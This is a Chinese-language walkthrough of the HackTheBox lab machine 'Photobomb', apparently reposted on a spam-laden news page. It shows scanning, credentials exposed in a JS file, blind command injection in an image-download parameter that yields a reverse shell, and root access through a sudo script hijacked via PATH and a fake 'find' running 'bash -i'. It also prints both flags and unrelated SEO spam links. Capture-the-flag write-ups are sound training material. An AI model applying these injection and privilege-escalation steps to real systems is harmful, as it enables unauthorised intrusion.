当前位置： 首页 > news >正文

网上开店准备工作百度刷排名优化软件

news 2025/9/17 16:00:42
网上开店准备工作,百度刷排名优化软件,企业官方网站建设教程,阜新建设工程信息网站目录 连接至HTB服务器并启动靶机 使用nmap对靶机进行端口开放扫描 再次使用nmap对靶机开放端口进行脚本、服务扫描 使用ffuf进行简单的子域名扫描 使用浏览器直接访问该域名 选取一个照片进行下载，使用Yakit进行抓包 USER_FLAG：a9afd9220ae2b5731…

目录

连接至HTB服务器并启动靶机

使用nmap对靶机进行端口开放扫描

再次使用nmap对靶机开放端口进行脚本、服务扫描

使用ffuf进行简单的子域名扫描

使用浏览器直接访问该域名

选取一个照片进行下载，使用Yakit进行抓包

USER_FLAG：a9afd9220ae2b573190f0ae0d9952f1c

特权提升

新建一个find文件(Shell)

ROOT_FLAG：2476206b2085f447038e0b03792bf147

连接至HTB服务器并启动靶机

靶机IP：10.10.11.182

分配IP：10.10.16.7

使用nmap对靶机进行端口开放扫描

nmap -p- -sS --min-rate=1500 -T5 -Pn 10.10.11.182

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nmap -p- -sS --min-rate=1500 -T5 -Pn 10.10.11.182
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-10 19:43 EST
Nmap scan report for 10.10.11.182 (10.10.11.182)
Host is up (0.16s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 45.53 seconds

再次使用nmap对靶机开放端口进行脚本、服务扫描

nmap -p 22,80 -sCV 10.10.11.182

可以看到这里访问靶机80端口被重定位，将其写入hosts中

echo '10.10.11.182 photobomb.htb' >> /etc/hosts

使用ffuf进行简单的子域名扫描

ffuf -u http://photobomb.htb/ -H 'Host: FUZZ.photobomb.htb' -w ../dictionary/subdomains-top20000.txt -t 200 -fc 302

使用浏览器直接访问该域名

点击click here会跳出认证框

按住Ctrl+U查看网页源码，可以找到一个JS文件：photobomb.js

直接点击查看其内容，获得一份凭证

账户：pH0t0

密码：b0Mb!

使用该凭证进行登录进入相册页

选取一个照片进行下载，使用Yakit进行抓包

经过测试：filetype这个参数点是无回显出网RCE(这里ping务必选定-c参数选择此数不然就会一直ping)

本地侧nc收到回显

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nc -lvnp 1425
listening on [any] 1425 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.11.182] 56584
bash: cannot set terminal process group (696): Inappropriate ioctl for device
bash: no job control in this shell
wizard@photobomb:~/photobomb$ whoami
whoami
wizard

查找user_flag位置并查看其内容

wizard@photobomb:~/photobomb$ find / -name 'user.txt' 2>/dev/null
find / -name 'user.txt' 2>/dev/null
/home/wizard/user.txt
wizard@photobomb:~/photobomb$ cat /home/wizard/user.txt
cat /home/wizard/user.txt
a9afd9220ae2b573190f0ae0d9952f1c

USER_FLAG：a9afd9220ae2b573190f0ae0d9952f1c

特权提升

查看该用户可特权运行的命令

sudo -l

wizard@photobomb:~/photobomb$ sudo -l
sudo -l
Matching Defaults entries for wizard on photobomb:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User wizard may run the following commands on photobomb:
    (root) SETENV: NOPASSWD: /opt/cleanup.sh

提升TTY

python3 -c 'import pty; pty.spawn("sh")'

查看/opt/cleanup.sh内容

cat /opt/cleanup.sh

$ cat /opt/cleanup.sh
cat /opt/cleanup.sh
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb

# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
  /bin/cat log/photobomb.log > log/photobomb.log.old
  /usr/bin/truncate -s0 log/photobomb.log
fi

# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;

上述代码中，我主要关注这一部分，bashrc文件通常是bash环境配置文件

但是这个文件默认应该不在/opt目录下，所以我尝试寻找该系统的所有bashrc文件路径

find / -name '*bashrc*' -type f 2>/dev/null

$ find / -name '*bashrc*' -type f 2>/dev/null
find / -name '*bashrc*' -type f 2>/dev/null
/opt/.bashrc
/usr/share/byobu/profiles/bashrc
/usr/share/doc/adduser/examples/adduser.local.conf.examples/skel/dot.bashrc
/usr/share/doc/adduser/examples/adduser.local.conf.examples/bash.bashrc
/usr/share/base-files/dot.bashrc
/usr/lib/python3/dist-packages/pexpect/bashrc.sh
/etc/skel/.bashrc
/etc/bash.bashrc
/home/wizard/.bashrc

使用diff命令将/opt/.bashrc文件与/etc/bash.bashrc文件进行内容比对

$ diff /etc/bash.bashrc /opt/.bashrc
diff /etc/bash.bashrc /opt/.bashrc
5a6,11
> # Jameson: ensure that snaps don't interfere, 'cos they are dumb
> PATH=${PATH/:\/snap\/bin/}
>
> # Jameson: caused problems with testing whether to rotate the log file
> enable -n [ # ]
>

可以看到，该/opt/cleanup.sh脚本，引用的环境配置文件/opt/.bashrc中，关于Shell所运行的二进制文件路径配置与系统默认文件(/etc/bash.bashrc)不同

系统中的/etc/bash.bashrc文件使用的是/bin/绝对路径从这开始读取

而/opt/.bashrc文件并未配置二进制文件寻找路径

这意味着如果我们运行/opt/cleanup.sh脚本，它将会从$PATH环境变量中的所有目录中查找二进制文件

再次查看脚本内容，在最后一行中可见使用的find命令并非绝对路径

提权思路就很简单了，当前目录下新建一个find命令，并将当前目录写入$PATH环境变量头部

与此同时，用这临时设置的环境变量特权(sudo)运行/opt/cleanup.sh脚本

新建一个find文件(Shell)

echo 'bash -i' > find

为find文件赋执行权限

chmod +x find

配置临时环境变量并启动/opt/cleanup.sh脚本

sudo PATH=$PWD:$PATH /opt/cleanup.sh

wizard@photobomb:~$ echo 'bash -i' > find
echo 'bash -i' > find
wizard@photobomb:~$ chmod +x find
chmod +x find

wizard@photobomb:~$ sudo PATH=$PWD:$PATH /opt/cleanup.sh
sudo PATH=$PWD:$PATH /opt/cleanup.sh
root@photobomb:/home/wizard/photobomb# whoami
whoami
root

在/root目录下找到了root.txt

root@photobomb:/# cd /root
cd /root
root@photobomb:~# ls
ls
root.txt
root@photobomb:~# cat root.txt
cat root.txt
2476206b2085f447038e0b03792bf147

ROOT_FLAG：2476206b2085f447038e0b03792bf147

http://www.yayakq.cn/news/646196/

相关文章：

  • iis6添加网站网站建设实训的目的
  • 小说网站开发流程具体微信网站开发软件
  • 宜宾建设招标网站长沙手机网站建设公司排名
  • 建设银行大连市分行网站微信群推广平台
  • 传媒网站源码带手机免费创办网站
  • ftp更换网站鹤壁做网站
  • 织梦免费企业模板网站网站推广应注意哪些事项
  • 郑州专业网站设计wordpress 博客 注册
  • 哈尔滨做网站公司有哪些长沙租房网
  • 国内高端品牌网站建设分类信息网站建设方案
  • 茶文化网站网页设计信阳网站建设的费用
  • 网站没备案做淘宝客南宁网站推广工具
  • 成都网站优化方法小笨鸟跨境电商平台
  • 怎么做简易网站某互联网公司触屏网站
  • 大数据平台怎么搭建苏州搜索引擎优化
  • 做贸易上什么网站wordpress微信订阅号
  • 易企秀网站开发保定网站建设技术支持
  • 云南省建设工程质量协会网站网站建设 网页制作
  • 制作网站要步骤辽宁专业网站建设大全
  • 深圳网站设计权威乐云践新一个公司可以做几个网站
  • 咸宁制作网站百度搜索排行seo
  • 怎样通过网盘做电影网站网站在线咨询怎么做
  • 网站建设制作优帮云wordpress图片大小
  • flash学习网站wordpress 运行天数 小工具
  • 国内wordpress有名的网站深圳保障性住房官网
  • 河南国邦卫可生物科技有限公司网站建设河南工程新希望官网
  • 陕西四通建设工程有限责任公司网站大良陈村网站建设
  • 网站友情链接出售vps一定要Wordpress吗
  • 大型网站开发语言网页制作流程不包括
  • 域名购买后 怎么创建网站网络网站建设公司排名